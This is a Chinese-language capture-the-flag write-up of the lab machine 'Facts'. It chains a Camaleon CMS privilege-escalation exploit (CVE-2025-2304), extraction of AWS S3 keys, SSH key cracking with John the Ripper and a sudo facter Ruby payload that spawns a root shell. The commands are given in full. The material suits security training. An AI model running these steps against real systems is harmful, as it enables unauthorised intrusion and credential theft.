Facts 是一台简单的 Linux 机器,需要利用 Camaleon CMS 中的一个已知漏洞 (CVE-2025-2304) 来提取本地 AWS S3 凭据。枚举内部的 S3 存储桶会发现一个 SSH 私钥,必须使用 John the Ripper 破解该私钥才能获得初始访问权限。通过利用 /usr/bin/facter 上的 sudo 配置错误,允许执行自定义 Ruby 代码以获取 root shell,从而实现权限提升。
攻击链: Nmap → Camaleon CMS (CVE-2025-2304) → S3 存储桶枚举 → SSH 密钥破解 → sudo facter → Root
首先运行 Nmap 扫描以识别目标机器上的活动服务。
nmap -sV -sC -oN nmap_facts 10.129.244.96
结果:

Nmap 显示两个开放端口:22 (SSH) 和 80 (HTTP)。Web 服务器基于 Nginx。在与网站正常交互之前,我们应该将主机 facts.htb 添加到 /etc/hosts 文件中。
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts
访问 80 端口上的站点时,我们会看到一个标准网页。为了发现隐藏路径,我们启动目录暴力破解攻击(例如,使用 ffuf 或 gobuster)。
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ
枚举揭示了几个与管理面板相关的有趣目录(/admin、/admin.php 等),所有这些目录都以 302 状态重定向到 http://facts.htb/admin/login.

通过访问登录页面并进行身份验证(或查看面板的页脚),我们发现网站背后的技术:Camaleon CMS。
右下角有一个关键细节引起了我们的注意:CMS 版本是 2.9.0。

知道服务器运行的是 Camaleon CMS 2.9.0,快速在线搜索我们发现了一个关键漏洞 CVE-2025-2304,该漏洞允许从已认证用户提升权限至管理员。
我们在 GitHub 上找到了一个公开的漏洞利用程序(由 Alien0ne 创建),并将其下载到攻击者机器上。

我们通过传递手中的凭据(例如 mattia:mattia)来启动漏洞利用,从而提升到管理员权限、提取敏感信息,然后恢复到原始角色以不留明显痕迹。
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r
漏洞利用的输出信息量很大:它成功提取了 本地 AWS S3 凭据 和服务器使用的 内部端点。
S3 访问密钥:AKIAA103ACAA5953D888
S3 秘密密钥:ELsaDX4pIZYwPJf+dVdUuoHtkwGsRPvKIGCmDfiR
S3 端点:http://localhost:54321(对我们来说变为 http://facts.htb:54321)

有了这些密钥,我们可以配置本地 AWS CLI 与机器暴露的 S3 服务进行交互。
aws configure
# 输入我们刚刚找到的访问密钥和秘密密钥
# 默认区域:us
# 默认输出格式:json
现在我们可以通过传递自定义端点 URL 来列出可用的存储桶:
aws --endpoint-url http://facts.htb:54321 s3 ls
我们找到了两个存储桶:internal 和 randomfacts。通过递归探索 internal 存储桶,我们发现了一个包含密钥的 .ssh 文件夹!
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive
我们将 id_ed25519 文件(SSH 私钥)下载到机器上。
我们有了私钥,但它受密码短语保护。为了破解它,我们将使用 John the Ripper 套件。首先,我们使用 ssh2john 将密钥转换为 John 可以读取的格式:
ssh2john id_ed25519 > hash.txt
接下来,启动字典攻击(使用自定义词表 my_guess.txt 或经典的 rockyou.txt):
john --wordlist=my_guess.txt hash.txt
密码成功破解:dragonballz。现在我们拥有访问服务器所需的一切!

现在我们拥有所需的一切,可以利用之前找到的第二个开放端口:SSH 端口(22)。
ssh -i id_ed25519 [email protected]
我们将使用之前找到的密码:dragonballz。我们成功登录了!
现在我们需要找出可以用于获取 root 访问权限的路径,因此我们使用 sudo -l。
路径:
/usr/bin/facter
为了利用此路径,我们使用一个小型脚本:
echo 'Facter.add(:pwn) do
setcode do
exec (“/bin/bash -p”)
end
end' > /tmp/pwn.rb
然后运行它:
sudo /usr/bin/facter --custom-dir=/tmp pwn

我们正式成为 root!!!
现在只需要找到手头的两个标志 :)

NMAP — 发现 2 个端口(22、80) ↓ Web 枚举 — 找到管理区域 ↓ Camaleon CMS -> CVE-2025-2304 ↓ 漏洞利用 + AWS 设置 ↓ John the ripper 破解哈希 ↓ SSH 登录 ↓ Sudo -l ↓ 脚本 + 执行 ↓ ROOT ✅
| 端口 | 状态 | 服务 | 版本 |
|---|
| 22/tcp | open | ssh | OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | open | http | nginx 1.26.3 (Ubuntu) |
| _http-title: facts | |||
| _http-server-header: nginx/1.26.3 (Ubuntu) |